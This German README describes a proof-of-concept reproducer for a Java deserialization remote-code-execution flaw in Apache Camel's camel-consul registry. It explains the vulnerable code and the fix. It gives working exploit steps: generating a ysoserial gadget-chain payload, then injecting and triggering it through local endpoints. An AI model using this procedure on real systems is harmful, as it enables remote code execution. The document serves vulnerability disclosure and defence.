
Reproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)
Dieses Projekt demonstriert eine Java-Deserialisierungs-Schwachstelle in Apache Camels
camel-consul-Komponente (ConsulRegistry), bekannt als CVE-2026-27172. Es handelt sich um die gleiche
Klasse von Problemen wie CVE-2024-22369, CVE-2024-23114 und CVE-2026-25747, die
bei der ursprünglichen Behebung dieser CVEs übersehen wurde.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-27172.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-consul |
| Betroffene Klasse | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| Angreifbare Methoden | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Auswirkung | Remote Code Execution (RCE) |
| Betroffene Versionen | Von 3.0.0 vor 4.14.6 und von 4.15.0 vor 4.18.1 |
| Behobene Versionen | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry verwendet den Consul Key/Value-Store als Camel-Registry. Wenn ein Bean
nach Namen gesucht wird, wird der gespeicherte Wert Base64-dekodiert und mit einem rohen
ObjectInputStream (und in betroffenen Versionen ohne ObjectInputFilter) deserialisiert:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // kein Filter (betroffen)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - betroffene Version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // KEINE FILTERUNG!
}
}
Jedes Objekt, das im Consul KV-Store unter einem Schlüssel gespeichert ist, den Camel später nachschlägt, wird deserialisiert. Ein Angreifer, der in diesen KV-Pfad schreiben kann, kann eine Gadget-Chain-Nutzlast platzieren, die bei der Registry-Suche ausgeführt wird.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (harmloser Beweis: Datei erstellen). Unter macOS "open -a Calculator", unter Windows "calc.exe".
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry speichert Base64-kodierte serialisierte Objekte, daher wird die Nutzlast als
Base64 geliefert.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() liest den KV-Wert, dekodiert Base64 und deserialisiert ihn – die
Gadget-Chain wird ausgeführt.
ls -la /tmp/pwned
Wenn die Datei /tmp/pwned existiert, war der Exploit erfolgreich.
Die Schwachstelle wird ausgelöst, sobald die Registry ein Bean auflöst:
.to("bean:..."), bean(...), .process("...") per Name rufen alle lookupByName() auf.findByType() / lookupByNameAndType() durchlaufen KV-Einträge und deserialisieren sie.commons-collections:3.2.1 (CommonsCollections1-7-Gadgets)Der Fix (CAMEL-23029) fügt einen konfigurierbaren ObjectInputFilter (Standard
java.**;org.apache.camel.**;!*) zu ConsulRegistryUtils.deserialize hinzu und stellt eine
deserializationFilter-Option bereit, damit vertrauenswürdige Klassen in eine Allow-Liste
aufgenommen werden können:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
Bis zum Upgrade auf eine behobene Version:
CVE-2026-27172/
├── pom.xml # Maven-Konfiguration (betroffene camel-consul-Version)
├── README.md # Diese Datei
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring-Boot-Einstiegspunkt
│ ├── ConsulRegistryRoute.java # Camel-Route (deaktiviert; zeigt echte Verwendung)
│ └── ExploitController.java # REST-Endpunkte für den PoC
└── resources/
└── application.properties
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierten Test einer öffentlich offengelegten und behobenen Schwachstelle bereitgestellt. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.
| Aspekt | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| Backend-Speicher | Cassandra-Tabelle | LevelDB-Datei | Consul KV-Store |
| ObjectInputFilter (vor Fix) | keiner | keiner | keiner |
| Fix | ObjectInputFilter-Allow-Liste | ObjectInputFilter-Allow-Liste | ObjectInputFilter-Allow-Liste |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |